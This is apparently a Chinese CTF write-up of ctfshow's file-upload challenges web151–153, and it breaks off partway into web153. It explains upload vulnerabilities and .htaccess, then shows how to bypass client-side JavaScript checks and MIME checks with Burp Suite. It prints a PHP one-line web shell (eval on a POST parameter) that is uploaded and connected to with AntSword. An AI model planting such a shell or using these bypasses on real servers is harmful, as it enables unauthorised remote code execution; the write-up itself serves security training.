web入门文件上传篇--ctfshow
0x01前言
之前只是做过ctfhub的文件上传的题目和一些赛题,并没有真正系统学习过文件上传,这次也是来到我期待已久的文件上传篇了
0x02步入正题
文件上传漏洞
一.介绍:
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。“文件上传” 本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
要点:用户上传可执行文件,服务器未对文件进行一个合理的检查过滤
二.文件上传漏洞危害
- 上传文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,导致代码执行。
- 上传文件是Flash的策略文件 crossdomain.xml,黑客用以控制Flash在该域 下的行为(其他通过类似方式控制策略文件的情况类似);
- 上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行;
- 上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。 除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢 出服务器的后台处理程序,如图片解析模块;或者上传一个合法的文本文件,其内容包含了PHP脚本,再通过”本地文件包含漏洞(Local File Include)”执行此脚本。
三.文件上传漏洞满足的条件
1.上传的后门文件,需要可以被脚本语言解析执行
- 说明一:如果对方服务器运行的是PHP环境,你不能上传一个JAVA的后门代码
- 说明二:上传文件的目录可以被脚本语言解析执行,如果没有执行权限也不行
- 说明三:一般文件上传后会返回一个地址,如果无法连接到也不能构成文件上传漏洞
四.检测文件的流程
检测的内容一般有一下几个方面:
客户端 javascript 检测 (通常为检测文件扩展名)
服务端 MIME 类型检测 (检测 Content-Type 内容)
服务端目录路径检测 (检测跟 path 参数相关的内容)
服务端文件扩展名检测 (检测跟文件 extension 相关的内容)
服务端文件内容检测 (检测内容是否合法或含有恶意代码)
五.htaccess文件
htaccess 文件是一种用于 Apache Web 服务器的配置文件,它允许网站管理员对网站的访问权限、重写规则(URL 重写)、错误页面处理、MIME 类型设置以及其他服务器配置进行精细控制。这个文件通常位于网站的根目录或子目录中,并且其名称前面的点(.)表示它是一个隐藏文件,在大多数操作系统中默认不会显示。
.htaccess 文件的一些常见用途包括:
访问控制:
URL 重写:
自定义错误页面:
MIME 类型设置:
缓存控制:
重定向:
其他配置:
使用 .htaccess 文件进行配置时,需要注意以下几点:
- .htaccess 文件对服务器性能有一定影响,因为每次请求时服务器都需要读取和解析该文件。因此,尽可能在服务器配置文件中(如 httpd.conf 或虚拟主机配置)进行全局设置,以减少性能开销。
- 并非所有 Apache 安装都启用了 .htaccess 文件的功能。这取决于服务器的配置,通常通过 AllowOverride 指令来控制。
- .htaccess 文件中的语法错误可能导致服务器配置失败,影响网站的正常访问。因此,在修改 .htaccess 文件后,应仔细检查语法,确保没有错误。
web151
#前端验证
题目就是答案,前台校验不可靠,所以应该是绕过前端验证的问题
我们先写个一句话木马
一句话木马
1 | eval($_POST[1]); @ |
把php后缀名改成jpg进行上传,然后我发现jpg不行,我就改成了png
用bp抓包上传,把png改回php,这样就可以绕过前端验证了
这里可以看到是上传成功了的,我们访问一下这个木马文件,注意路径是/upload/1.php
访问后是空白页面,说明我们上传的png文件确实是改成php文件进行解析执行了,这时候我们用蚁剑一把嗦就行了
解题思路:由于这个是属于前端验证,也就是js验证,意思是只是在客户端浏览器使用JavaScript对数据包进行检测。因此我们可以先把php文件改成可以通过验证的文件后缀,然后在上传数据包的时候用burpsuite进行抓包,此时数据包是通过前端验证了,这时候我们将数据包的文件重新改成php文件后缀,就可以让php文件在服务器端正常解析执行了。
当然这道题还有非预期解,因为是js验证,所以我们禁用了js的话也是会让这个验证失效的,我也没试过,大家可以试试
web152
#MIME验证
这次是后端验证,但是后端验证也有很多种,后来测试发现这里是MIME验证
MIME验证
MIME(multipurpose Internet mail extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。当我们上传的文件被判定为content-type字段时,可以通过抓包,将content-type字段改为常见的图片类型,例如inamge/gif,从而绕过。也就是我们上传php文件时,可以改为jpg、png之类的,然后实现绕过。
常见的MIME类型,例如:
超文本标记语言文本 .html,html text/htm
普通文本 .txt text/plain
RTF文本. rtf application/rtf
GIF图形 .gif image/gif
JPEG图形 . jpg image/jpeg
与前面的文件后缀不同,MIME类型 (Content-Type) 和文件后缀是两码事
因为我们上一题是传的png格式,所以抓包的时候发现content-type头已经是图片类型格式头了,也就不需要改了直接改后缀就行
常规如果直接上传php文件的话需要修改content-type头为需要的格式才能通过MIME验证,不过这里一直都是要求的上传图片,所以也就没必要了
web153
像上次一样上传png改后缀试试看
把response里的msg内容解码一下
显示文件类型不合规,判断是不是对文件内容进行了校验,